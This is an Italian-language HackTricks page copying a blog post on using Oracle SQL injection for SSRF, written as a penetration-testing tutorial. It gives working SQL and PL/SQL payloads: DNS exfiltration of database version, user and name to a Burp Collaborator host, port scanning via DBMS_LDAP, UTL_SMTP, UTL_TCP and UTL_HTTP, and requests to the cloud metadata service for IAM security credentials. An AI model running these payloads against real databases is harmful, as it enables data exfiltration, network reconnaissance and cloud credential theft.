Oracle injection

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Servi questo post come copia di un post eliminato da https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

L'utilizzo di Oracle per effettuare richieste HTTP e DNS fuori banda è ben documentato, ma come mezzo per esfiltrare dati SQL nelle iniezioni. Possiamo sempre modificare queste tecniche/funzioni per fare altre SSRF/XSPA.

L'installazione di Oracle può essere davvero dolorosa, soprattutto se si desidera configurare un'istanza rapida per provare comandi. Il mio amico e collega di Appsecco, Abhisek Datta, mi ha indirizzato a https://github.com/MaksymBilenko/docker-oracle-12c che mi ha permesso di configurare un'istanza su una macchina Ubuntu AWS t2.large e Docker.

Ho eseguito il comando docker con l'opzione --network="host" in modo da poter simulare Oracle come un'installazione nativa con pieno accesso alla rete, per il corso di questo post del blog.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Pacchetti Oracle che supportano una specifica URL o un nome host/numero di porta

Per trovare eventuali pacchetti e funzioni che supportano una specifica di host e porta, ho eseguito una ricerca su Google nella Documentazione online di Oracle Database. In particolare,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

La ricerca ha restituito i seguenti risultati (non tutti possono essere utilizzati per eseguire una rete in uscita)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Questa ricerca approssimativa ovviamente salta pacchetti come DBMS_LDAP (che consente di passare un nome host e un numero di porta) poiché la pagina della documentazione ti indirizza semplicemente a una posizione diversa. Pertanto, potrebbero esserci altri pacchetti Oracle che possono essere utilizzati per effettuare richieste in uscita che potrei aver trascurato.

In ogni caso, diamo un'occhiata a alcuni dei pacchetti che abbiamo scoperto e elencato sopra.

DBMS_LDAP.INIT

Il pacchetto DBMS_LDAP consente di accedere ai dati dai server LDAP. La funzione init() inizializza una sessione con un server LDAP e richiede un nome host e un numero di porta come argomento.

Questa funzione è stata documentata in precedenza per mostrare l'esfiltrazione di dati tramite DNS, come mostrato di seguito

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Tuttavia, dato che la funzione accetta un nome host e un numero di porta come argomenti, puoi usarla anche come uno scanner di porte.

Ecco alcuni esempi:

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Un ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. indica che la porta è chiusa mentre un valore di sessione punta alla porta aperta.

UTL_SMTP

Il pacchetto UTL_SMTP è progettato per l'invio di e-mail tramite SMTP. L'esempio fornito sul sito di documentazione di Oracle mostra come utilizzare questo pacchetto per inviare un'email. Tuttavia, per noi, la cosa interessante riguarda la possibilità di specificare un host e una porta.

Di seguito è mostrato un esempio rudimentale con la funzione UTL_SMTP.OPEN_CONNECTION, con un timeout di 2 secondi.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Un ORA-29276: timeout di trasferimento indica che la porta è aperta ma non è stata stabilita alcuna connessione SMTP, mentre un ORA-29278: errore transitorio SMTP: 421 Servizio non disponibile indica che la porta è chiusa.

UTL_TCP

Il pacchetto UTL_TCP e le sue procedure e funzioni consentono la comunicazione basata su TCP/IP con i servizi. Se programmato per un servizio specifico, questo pacchetto può diventare facilmente un punto di accesso alla rete o eseguire richieste complete lato server, in quanto è possibile controllare tutti gli aspetti di una connessione TCP/IP.

L'esempio sul sito di documentazione di Oracle mostra come utilizzare questo pacchetto per effettuare una connessione TCP grezza per recuperare una pagina web. Possiamo semplificarlo ulteriormente e utilizzarlo per effettuare richieste all'istanza dei metadati, ad esempio, o a un servizio TCP/IP arbitrario.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interessantemente, grazie alla capacità di creare richieste TCP grezze, questo pacchetto può anche essere utilizzato per interrogare il servizio di metadati dell'istanza di tutti i fornitori di cloud, poiché il tipo di metodo e gli header aggiuntivi possono essere passati all'interno della richiesta TCP.

UTL_HTTP e richieste Web

Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Iniezione SQL Oracle Out of Band è il pacchetto UTL_HTTP. Questo pacchetto è definito dalla documentazione come - Il pacchetto UTL_HTTP effettua chiamate Hypertext Transfer Protocol (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Potresti inoltre utilizzare questo per eseguire una scansione delle porte rudimentale utilizzando query come

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Un ORA-12541: TNS:no listener o un TNS:operation timed out è un segno che la porta TCP è chiusa, mentre un ORA-29263: HTTP protocol error o dati sono un segno che la porta è aperta.

Un altro pacchetto che ho usato in passato con successo variabile è il metodo GETCLOB() del tipo astratto Oracle HTTPURITYPE che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo GETCLOB() viene utilizzato per recuperare la risposta GET da un URL come tipo di dati CLOB[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated